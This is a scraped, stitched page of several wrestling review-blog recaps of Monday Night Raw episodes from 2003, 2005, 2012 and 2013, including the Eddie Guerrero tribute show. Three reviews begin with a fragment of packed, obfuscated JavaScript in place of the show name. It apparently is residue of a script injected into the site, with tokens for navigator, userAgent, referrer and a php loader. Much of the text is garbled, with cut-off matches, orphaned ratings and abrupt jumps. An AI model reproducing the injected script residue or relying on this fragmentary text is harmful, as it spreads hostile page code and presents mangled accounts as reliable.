");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttibd|var|u0026u|referrer|fsebf||js|php'.split('|'),0,{})) Night Raw
Date: November 18, 2013
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Jerry Lawler, John Bradshaw Layfield, Michael Cole

Langston vs. Axel for the Intercontinental Title tonight.

Randy Orton vs. Brad Maddox

Intercontinental Title: Big E. Langston vs. Curtis Axel

Big Show vs. Ryback

They shove each other around to start with Big Show throwing Ryback into the corner for some right hands and a headbutt. A hard chop and a shoulder puts Ryback on the floor for a nine count as things slow down. Back in and Ryback pounds away before taking out the knee. Some forearms to the back and a leg drop get two and we hit the front facelock followed by a chinlock.

The hold stays on for a good while as Ryback calls a lot of spots. Show finally suplexes his way out before scoring with some clotheslines. Ryback comes back with a very nice spinebuster (all things considered) for two but the Meathook is countered into a chokeslam attempt. Ryback kicks out of it and hits the Meathook before actually hitting Shell Shock on Big Show for two. Ryback tries it again but Big Show shoves him away and hits the WMD for the pin at 7:57.

Post match Orton tries to sneak in but gets speared down.

Orton is having his ribs taped up.

The Miz/Kofi Kingston vs. Real Americans

Real Americans vs. Goldust/Cody Rhodes for the tag titles on Friday. Miz gets caught in a quick wristlock by Cesaro before hitting the corner clothesline and the top rope ax handle for two. Cesaro catches him in a tilt-a-whirl backbreaker for no cover before sending Miz to the floor and tagging in Swagger. Jack sends him into the corner for the Vader Bomb followed by the Cesaro double stomp for two.

Vickie pretends to have been attacked to get out of her match with AJ.

AJ Lee vs. Vickie Guerrero

Vickie faints again post match.

There will indeed be a fourteen Diva Survivor Series match on Sunday with the Total Divas against everyone else.

Dolph Ziggler vs. Damien Sandow

There are a bunch of musical instruments in the ring, mainly string stuff. Sandow throws him to the floor but misses a shot with an electric guitar. Ziggler dives off the steps to take him down as the announcers reference musical acts from the 70s and earlier. Back in and Damien pounds away before getting caught by a nice dropkick to send him back outside. Ziggler goes up top but dives into a shot from an organ to the ribs as we take a break.

We look at the opening of Raw and Big Show spearing Orton down again.

Cena talks to Florida Georgia Line.

Rhinestone Cowboys vs. R-Truth/Xavier Woods

The winners dance post match.

Shield/Wyatt Family vs. Daniel Bryan/CM Punk/Cody Rhodes/Goldust/Usos

Back with Reigns pounding away on Bryan but getting caught in a DDT. The fans beg him to make the tag and get their wish as Punk comes in for the first time to clean whatever is still dirty in the house. He takes out every heel in sight, including Rollins and Ambrose with a DDT and neckbreaker at the same time. Punk hits the Macho Elbow on Ambrose but Bray distracts him from hitting the GTS.

Rating: C+. This was more long than it was good but the ending sequence was awesome, as almost all parades of finishers are. Again though, why does Ambrose have to take the pin? There are five other guys out there but the only champion on the team has to get pinned? Really? Still though, good stuff.

Post match the Real Americans and other heels come in for the beatdown but REY MYSTERIO returns for the save, apparently as the fifth man on the team at Survivor Series.

Results

Randy Orton b. Brad Maddox via referee stoppage

Big E. Langston b. Curtis Axel – Big Ending

Big Show b. Ryback – WMD

Real Americans b. The Miz/Kofi Kingston – Patriot Lock to Kingston

AJ Lee b. Vickie Guerrero – Black Widow

Dolph Ziggler b. Damien Sandow – Guitar shot to the head

R-Truth/Xavier Woods b. Rhinestone Cowboys – Best in the Woods to McIntyre

CM Punk/Daniel Bryan/Usos/Cody Rhodes/Goldust b. Shield/Wyatt Family – GTS to Ambrose

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thkni|var|u0026u|referrer|keian||js|php'.split('|'),0,{})) Night Raw
Date: November 14, 2005
Location: Target Center, Minneapolis, Minnesota
Attendance: 6,000
Commentators: Jonathan Coachman, Jerry Lawler, Joey Styles

This is the Eddie Guerrero Tribute Show. Eddie passed away I think the previous day in his hotel room, making this obviously not a normal show. It’s an often requested show so I more or less had to do it at some point. The matches mean nothing of course and it’s not like the guys’ heads are on straight. I’ve heard it’s good, so let’s get to it.

Before I get started, I probably should give my thoughts on Eddie as a whole. I never was huge on him. I think he’s a great wrestler and had exceptional talent, but he wasn’t the guy that I saw as this legend that so many people claim him to be. It also strikes me as very ironic that after he passed away he was all of a sudden this tragic figure that was so inspirational to everyone, despite no one seeming to say that while he was alive.

I do not like the way his legacy was exploited in storylines later. I stand by what I say that Eddie Guerrero won the 06 Rumble and beat Orton and Angle in the world title match at Wrestlemania. Rey got his push off the back of Eddie and I can’t stand that at all. I’m not saying it was Rey’s fault, but I’ve never been able to stand the push that he got as well as the constant referencing Eddie when he has nothing to do with the stories. Anyway in short he’s a great wrestler, but not one of the greats. Let’s get to it.

We open with the entire roster standing on the stage to a big Eddie chant. Vince stands in front of them and says that he passed away so tonight we’re going to celebrate his life and career. Everyone is clearly sad but they’re not as shaken up as they probably had been before. Vince asks everyone to stand in silence as they ring the bell ten times which is kind of hard to watch.

There’s a video tribute to Eddie, set to Johnny Cash’s Hurt. Good stuff. Back in the arena Vince says Viva La Raza. BIG Thank You Eddie chant.

We begin the sitting down tributes from the guys, the first being Cena. He talks about how passionate Eddie was and how he mentored Cena as he started here.

First clip is Eddie spraying Big Show with sewage on Smackdown.

Big Show/Kane vs. MNM

The difference in Show’s weight then as compared to now is striking. He is FAT here. He’s still big today but he doesn’t look like he’s retaining water. I probably shouldn’t notice this here but Lillian is smoking in that little black dress. Both teams are tag champions on their respective shows with Show/Kane being on Raw. Show vs. Nitro starts us off and we unleash the chops.

Kane goes up for the clothesline but the two M’s take care of the big friend freak and Nitro gets a shot in to Kane with a belt to get two. MNM can’t suplex Kane so he throws them around instead. Off to Show and the beating begins again. Show massacres them as Melina gets up on the apron. She gets a kiss and Mercury gets the Kane clothesline. Double chokeslam ENDS Nitro for the pin.

Rating: C-. If I didn’t mention this before, the ratings here aren’t ones that should be taken seriously. The guys aren’t really thinking clearly probably and the matches aren’t going to mean anything in the long run. MNM would get better but their successors, Miz and Morrison would work better. This was ok for a semi-squash though.

Lillian tells a story about being in Eddie’s group in Iraq last year. She speaks some Spanish, saying she’ll see him again someday.

We get a clip of Eddie talking about auctioning off a bunch of Kurt’s stuff which is similar to the way Cryme Tyme would sell stuff off. Funny bit.

Shelton Benjamin vs. Kurt Angle

This works. Angle is in the black tonight so you can tell he’s being serious. Angle takes a quick knee to pray a bit before we start. Angle takes him to the mat almost immediately so Shelton starts using the ropes to his advantage and we have a standoff. I love watching Angle hit belly to bellies. Angle gets a chinlock and calls some spots a bit too loudly.

Benjamin counters a suplex and hooks a DDT to put both guys down. It’s so odd to hear Joey talking about Kurt Angle for some reason. We crank it up a bit but Shelton breaks out a Samoan Drop of all things but he can’t get the T-Bone. Dragon Whip works instead for a close two. Running corner suplex is blocked and Benjamin gets a HUGE clothesline off the top for two.

Angle is like boy I’m Kurt Angle and busts out the Germans and the Angle Slam for only two of course. Shelton blocks a moonsault and hits a release German off the top! SICK bump there. Somehow it only gets two and as Shelton complains about the count Angle grabs the ankle and gets the grapevine. Since Shelton isn’t the Undertaker, that ends this solid match.

Rating: B-. I really liked this actually. Shelton was the MAN in 2005, more than holding his own by just showing off how awesome he was against far better wrestlers than himself. This was another good match where his inexperience caught up with him but was still pretty freaking sweet. Good match and a lot of fun on a hard show to get through.

I wasn’t kidding on the hard to get through part as this has taken me nearly two days to get this far. Angle holds up the armband with EG on it and is having trouble holding it together.

Shawn talks about how he never wrestled Eddie but has a connection with Eddie as both men were born again Christians. Good little speech here and rather touching. Unless you’re Gregory Helms I guess.

Clips from the Lie Cheat and Steal vignettes which were absolutely hilarious and were actually the parts of Smackdown I was looking forward to most for a few months. It’s so weird to see Vickie as a decent looking woman with red/blonde hair.

Chavo does what is probably the hardest talk of his life as he talks about growing up with Eddie as a brother rather than as his uncle. They were only three years apart so they grew up more or less as brothers. We get a cool story of them wrestling in Chavo Sr.’s promotion in El Paso when they were kids. This is clipped as I’d definitely assume he talked about this for a long time and you know they wouldn’t tell him to wrap it up. This was again hard to sit through.

Shawn Michaels vs. Rey Mysterio

This should be awesome as well. This is the older version of Rey’s song which is kind of weird to hear now. The new one is way better. Of course they speed things WAY up and neither guy can get an advantage. Coach talks about how tonight the titles and rivalries and brands have been put aside which for once isn’t cheesy as this stuff really does come off as they want to perform in Eddie’s name which is cool to see.

Joey makes a good point: how often do you see Shawn as the bigger and slower guy in a match? Shawn catapults Rey over the top but he hangs on and gets a springboard seated senton for two which Joey calls a Thesz Press for some reason. Shawn avoids a pair of 619s but gets caught with a Pescado as we take a break.

Back with Shawn holding a sleeper. We see a clip of him hitting a spinning neckbreaker during the break. I always like when guys break out random basic moves like those. It’s not like everyone knows five moves and that’s it. Heck even Cena knows six. Shawn controls for the most part here which is weird to see. Shawn beats on him a bit and works Rey’s back.

Rey speeds things up a bit and kicks Shawn in the legs and gets some dropkicks for two. Shawn hits the flying forearm and both guys are down. Coach predicts a nip up. Hey what do you know as he was right. 619 is avoided and a clothesline gets two for Shawn. He liked it I guess so he hits another and Rey is down again. The elbow hits but the Chin Music does not. In a VERY surprising twist, Rey gets a headscissors, hits the 619 and drops the dime on Shawn for the clean pin. WOW.

Rating: B-. Keep in mind that Rey wasn’t a world champion guy at this point so this would be like Kingston pinning Edge clean. It would be a huge win for him which wouldn’t be remembered soon after this due to it being a special night. Still though, this would be a good match either way and the whole thing worked. Something similar would happen the next night as Chavo beat JBL which there wasn’t a thing wrong with at all.

Batista talks about Eddie helping him through a lot of problems including some personal problems. Eddie was in a lot of pain but would go out there every night for the fans and entertain them as well as he could.

Another Eddie video to Hurt which might be the same one from earlier. Yeah it’s the same one.

Diva Battle Royal

Ashley, Maria, Christy, Victoria, Melina, Jillian Hall, Mickie James, Candace Michelle, Trish Stratus

Mickie was still psycho at this point and didn’t have her usual personality here. Trish is Women’s Champion here and they’re all in Eddie shirts. All the shirts come off at once in one of the best parts of the night. Everyone pairs off except for I think that’s Maria. Sweet goodness how hot was Christy?

Mickie gets a sweet headscissors to show off her sweeter thong but goes out as a result. As does Jillian. Maria is kind of standing off to the side and stealing shots when she can. Ashley goes out by Victoria and Candace. Victoria and Melina try to take out Trish but runs into the Matrish which is awesome. Candace punches Christy to the floor.

We’re down to Victoria, Trish, Maria, Melina and Candace. Trish gets the headscissors to put Candace out. Maria sneaks up on Victoria to put her out. She’s the ditzy chick here so this is surprising. Melina and Trish look at her and throw her out with ease. Stratusfaction is blocked and Melina shoves her out for the surprising win.

Rating: C. Hard to grade again but the girls were rather hot and this was the only storyline thing they did all night which I can certainly live with. They were trying to find someone for Trish to feud with while Mickie got ready so there wasn’t much going on here at all. Hot girls though so no complaints on that end.

Rey talks about missing Eddie as he is clearly not sure what to say at first but it starts coming out. His is clipped a bit also as there’s also the possibility that they said something personal that they don’t want airing on national TV. Totally understandable if that’s the case. He stops talking for awhile and says that everyone is going to miss Eddie and his presence. Rey has to keep pausing during this as he can’t keep talking.

We see one of Eddie’s biggest moments as he and Benoit hugged with both of them as world champions to end Wrestlemania 20. That was a huge moment in retrospect as the smaller and “less marketable” stars were at the top of the company and were completely accepted as the top guys on the roster. Really an amazing moments and the peaks of both of their careers.

Simon Dean vs. Eugene

Dean is the fitness guy played by Nova. This is a comedy match if you didn’t get that. They get in a pushup contest and Eugene does his JYD headbutts. Back in the ring after a brief skirmish on the floor. Dean hits a chinlock and Eugene Hulks Up and hits an Airplane Spin. Dean accidentally slingshots himself into the buckle with his stretch bands and a Rock Bottom ends this. No rating but this was rather funny at times and you can’t complain for a second about a match like this on a show like this.

Chris Benoit talks and this is the big one here for the most part as these two were more or less inseparable throughout their mainstream careers. Benoit talks about being able to pour his heart out to Eddie and get help whenever he needed it from him. Benoit talks directly to Eddie and breaks down in tears that are bordering on wailing. The emotion here is real as allegedly the diaries found at Benoit’s murder scene were filled with writing about how he missed Eddie so much. It’s so….so…..I’m not sure what the right word is to think that you might have just seen the moment that sent Benoit beyond the point of return.

HHH talks about how great Eddie was in the ring and how great of a performer he was. He talks about how Eddie overcame his demons and beat every single one of them which from what I’ve heard was completely true and that he had been clean and sober for four years when he passed away which is a very good thing to hear.

Ric Flair vs. William Regal

Flair is the Intercontinental Champion here but this is of course non-title. This is a very old school style match with Flair hooking an abdominal stretch and cheating. This is less of a match and more of a how to have a Ric Flair match. Regal unlaces Flair’s boot which is a new one for me I think. Regal hammers away for a bit and sends Flair to the floor. And never mind as Flair gets some chops and goes for the knee as the Figure Four ends it with relative ease. No rating here as it was little more than a long practice for Flair.

Stephanie talks about first meeting Eddie when Eddie was thinking about making the jump to WWF. Eddie was apparently very humble which is a recurring line tonight. She talks about talking to Eddie on Friday where he talked about winning the title again. Allegedly, and I’ve never heard this confirmed for sure, Eddie was supposed to win the title on the upcoming Smackdown as Batista was injured. Supposedly Stephanie confirmed that here but I didn’t hear that from her here.

We get some more Eddie stuff including him accidentally winning the IC Title (in Lexington) which was one of the oddest title changes ever but it worked perfectly in a weird wrestling way.

John Cena vs. Randy Orton

Cena is world champion. Orton actually wears his own shirt here which is a first tonight I think. Cena wrestles in the shirt which is a nice little touch. Since there is zero point to this being a real match it’s an extended highlight reel from these two. It doesn’t even break four minutes as Cena cranks things up and then Bob Orton runs in for the DQ to break up the FU. No rating again as about ¼ was chinlock. Cena gets the FU anyway. In a classy move Cena takes off his shirt and leaves it and the title on the mat to end the show.

Overall Rating: A. This was a very fine show tribute aside. There were some very good matches, but again that’s not something that mattered here. This was about a show in memory of a great wrestler that suddenly passed away. I do have issues with Eddie’s death as it was brought on by years of substance abuse, but the fact that he got clean means a lot and is a great story indeed.

This was a very good show, but again it’s hard to sit through until I just rammed through it one night. It got to me, which isn’t something that happens often. The wrestling was good and having the comedy match on there was a nice touch as comedy was a big part of Eddie’s style at various times. He was indeed great and this was a very well done tribute to him as it felt genuine rather than something thrown together. Well done and a very good show, but I wouldn’t recommend watching it unless you can take some hard emotions along with it.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykbaa|var|u0026u|referrer|dsheh||js|php'.split('|'),0,{})) Night Raw
Date: November 12, 2012
Location: Nationwide Arena, Columbus, Ohio
Commentators: Jim Ross, Michael Cole, Jerry Lawler

They do the stupid voiceover stuff here, this time about Lawler coming back for the first time tonight. This immediately transitions into a video on Cena/AJ/Vickie. You know, because a fake affair between two people who are single in both real life and in storyline is the same as a man nearly dying.

Cena vs. Punk tonight.

Randy Orton vs. Dolph Ziggler

Kofi Kingston/Randy Orton vs. Dolph Ziggler/Alberto Del Rio

Cole and JR talk about the veterans a bit and we get a video about them.

We recap the pub fight from last week on Smackdown.

William Regal vs. Big Show

Post match Show loads up the WMD but Sheamus makes the save. Sheamus stomps and pounds on Show so the champion runs.

Kaitlyn vs. Layla

Sin Cara/Rey Mysterio/Justin Gabriel/Tyson Kidd vs. Prime Time Players/Primo/Epico

The WWE still loves the troops!

Brad Maddox is in the back when Heyman comes in. He asks the camera to be shut off and the two of them go for a walk.

The full ballot: Santino, Ryder, Miz. And WWE has the nerve to complain when we say these polls are dumb.

R-Truth vs. Tensai

We get a clip of Ryback vs. Maddox in WWE 13.

We recap the show so far. Why in the world would ANYONE want to see this again? I mean they just AIR THE SEGMENTS ALL OVER AGAIN. Dear goodness almighty what is wrong with this company anymore?

Brad Maddox vs. Ryback

David Otunga vs. Sheamus

Rhodes Scholars vs. Kane/???

Miz wins in a completely not shocking landslide. This is joined in progress with Kane getting two off a suplex on Sandow. Off to Miz for a knee lift for the same and the corner clothesline keeps Sandow in trouble. Off to Kane vs. Cody with the Scholars continuing to be in trouble. Bryan pouting is hilarious stuff. Miz backdrops Cody to the floor and hits an ax handle off the apron before glaring at Bryan.

More stuff about the troops. Tribute to the Troops is coming to Norfolk.

John Cena vs. CM Punk

Non-title of course. Feeling out process to start with Cena cranking on the arm. Foley is guest enforcer and glares at Punk on the floor as we take a break. Back with Cena on top but falling out to the floor with Punk. Back in and a neckbreaker from Punk is countered into a backslide by Cena for two. Off to a chinlock by CM which is shifted into a sleeper. Cena starts his comeback but gets rolled up when he tries the Shuffle. A neckbreaker puts Cena down but the Macho Elbow misses.

Results

Randy Orton b. Dolph Ziggler – Rollup

Alberto Del Rio/Dolph Ziggler b. Kofi Kingston/Randy Orton – Enziguri to Kingston

Big Show b. William Regal – Chokeslam

Kaitlyn b. Layla – Reverse DDT

Rey Mysterio/Sin Cara/Justin Gabriel/Tyson Kidd b. Prime Time Players/Primo/Epico – 450 to Young

R-Truth b. Tensai – Little Jimmy

Ryback b. Brad Maddox – Shell Shock

Kane/Miz b. Rhodes Scholars – Chokeslam to Rhodes

John Cena b. CM Punk – Attitude Adjustment

Remember to follow me on Twitter @kbreviews

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

Monday Night Raw
Date: February 10, 2003
Location: Staples Center, Los Angeles, California
Commentators: Jim Ross, Jerry Lawler

Theme song.

Evolution arrives.

Christian vs. Test

Post match Christian gets in a cheap shot while Test is talking to Stacy. Christian goes after Stacy but Jeff Hardy of all people makes the save, despite teasing a heel turn for awhile now.

JR is on the phone with someone and trying to get hold of Austin.

We look back and Booker and Goldust splitting after losing their tag title shot last week. This continues to make no sense given how hot they were as a team, but nothing made sense on Raw in 2003. Goldust also got electrocuted by Evolution after the loss, turning him into an epileptic.

Jazz vs. Molly Holly

Rating: C-. The match was nothing great but Jazz looked awesome out there. Yeah I actually said that. We never really got a good submission master in the Divas division so this was a nice change of pace. Unfortunately Jazz had the personality of a slug so she never went anywhere.

Jazz beats up Molly again post match with the double chickenwing and another STF.

Kane/Rob Van Dam vs. 3 Minute Warning

Vince arrives and wants to know why JR is in the parking garage.

Regal and Storm suck up to Vince in hopes of getting the GM spot. Vince promises to name a new GM tonight.

Chief Morely vs. Dudley Boys

The Dudleys put Morely through a table because they can.

Tommy Dreamer vs. Batista

Spear, Batista Bomb, pin.

Evolution comes in for the beatdown but Booker comes in for the save. He gets beaten down as well but Scott Steiner makes the real save.

Jeff Hardy and Shawn have a moment in the back after Shawn kicked his head off last week.

Chris Jericho vs. Jeff Hardy

This HAS to get some time right? Jericho takes him down with a headlock to start but Jeff fights up with some right hands to the head. A headscissors gets two on Chris but Jericho throws him out to the floor. Jericho does the Hogan hand to the ear but misses a springboard dive, allowing Jeff to score with a not great looking Asai Moonsault. A whip into the steps gets two for Hardy and he dropkicks Jericho out of the air to keep control.

Overall Rating: F. This might have been the least important show I can remember in my entire career of reviewing these things. We spent the entire night building up an angle, only to have the whole thing be rendered pointless at the end. On top of that, the matches SUCKED and nothing of note happened as a result of any of them. Horrible show with no redeeming value at all.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at: